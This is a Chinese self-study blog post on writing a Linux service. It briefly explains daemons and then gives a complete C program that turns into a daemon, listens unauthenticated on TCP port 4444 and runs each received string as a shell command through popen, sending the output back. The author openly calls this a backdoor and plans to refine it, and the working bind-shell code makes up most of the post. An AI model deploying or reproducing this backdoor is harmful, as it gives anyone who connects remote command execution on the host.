第十六夜:编写一个Linux的服务

因为很多私事,复习停滞了两个半月,真是太惭愧了。不说了,菜鸡抽空继续学。

Linux Service

Service是一种被称为守护进程(daemon)的程序。它通常一旦启动后就在后台持续运行,通常在等待什么输入或者监控系统有什么变化。例如Apache服务器有一个叫httpd的守护进程监听80端口以等待http请求。

Service程序通常通过service命令来启动或停止等。例如apache服务的启动可通过service httpd start来启动。

通过service --status-all可以查看系统当前所有service服务的状态。

https://blog.csdn.net/gobitan/article/details/5903342

使用stdlib.h中的daemon实现守护进程

通过以下样例程序,结合前期复习的socket相关知识,以及最基本的Linux系统调用,实现了一个运行在Linux中的服务程序(Daemon)。

这个程序会在后台监听当前主机的4444端口,当tcp客户端连接上时,会接受客户端的输入,并作为shell来执行,实现最基本的C/S架构的BD功能。

(后面也将继续基于这个例子进一步改良和优化这个程序。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/*
simple echo BD.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#define MAXPENDING 5 /* Max connection requests */
#define BUFFSIZE 255
#define BINDPORT 4444

void die(char *mess) { perror(mess); exit(1); }

int main(void){


//create daemon
if(daemon(0,1) == -1){
perror("daemon error");
exit(0);
}


int serversock, clientsock;
struct sockaddr_in echoserver, echoclient;

/* Create the TCP socket */
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
die("Failed to create socket");
}

/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Incoming addr */
//echoserver.sin_port = htons(atoi(bind_port)); /* server port */
echoserver.sin_port = htons( BINDPORT );

/* Bind the server socket */
if (bind(serversock, (struct sockaddr *) &echoserver, sizeof(echoserver)) < 0) {
die("Failed to bind the server socket");
}

/* Listen on the server socket */
if (listen(serversock, MAXPENDING) < 0) {
die("Failed to listen on server socket");
}

/* Run until cancelled */
while (1) {
unsigned int clientlen = sizeof(echoclient);
/* Wait for client connection */
if ((clientsock = accept(serversock, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to accept client connection");
}

printf("[*] Client connected: %s\n", inet_ntoa(echoclient.sin_addr));

FILE *fp;
int received;
char command[BUFFSIZE];
char buffer[BUFFSIZE];
memset(command,0,sizeof(command));
memset(buffer,0,sizeof(buffer));


while( (received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) > 0 ){

/*
if ((received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to receive message");
}
*/

if(strcmp(command,"exit") == 0){
printf("[*] Client exit.");
break;
}else{
printf("[*] Client send(%d): %s\n", received, command);
}
// Execute command
fp=popen(command,"r");

while(fgets(buffer,sizeof(buffer),fp)!=NULL){
printf("%s", buffer);
send(clientsock, buffer, sizeof(buffer), 0);
memset(buffer,0,sizeof(buffer));
}
pclose(fp);

memset(command,0,sizeof(command));
}

close(clientsock);

}

return 0;
}

参考资料

Linux平台下的service程序编写指南
Linux中创建Daemon进程的三种方法
守护进程详解及创建,daemon使用

第十七夜:编写一个Windows的服务 第十五夜:网络编程3-常见的应用层协议
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×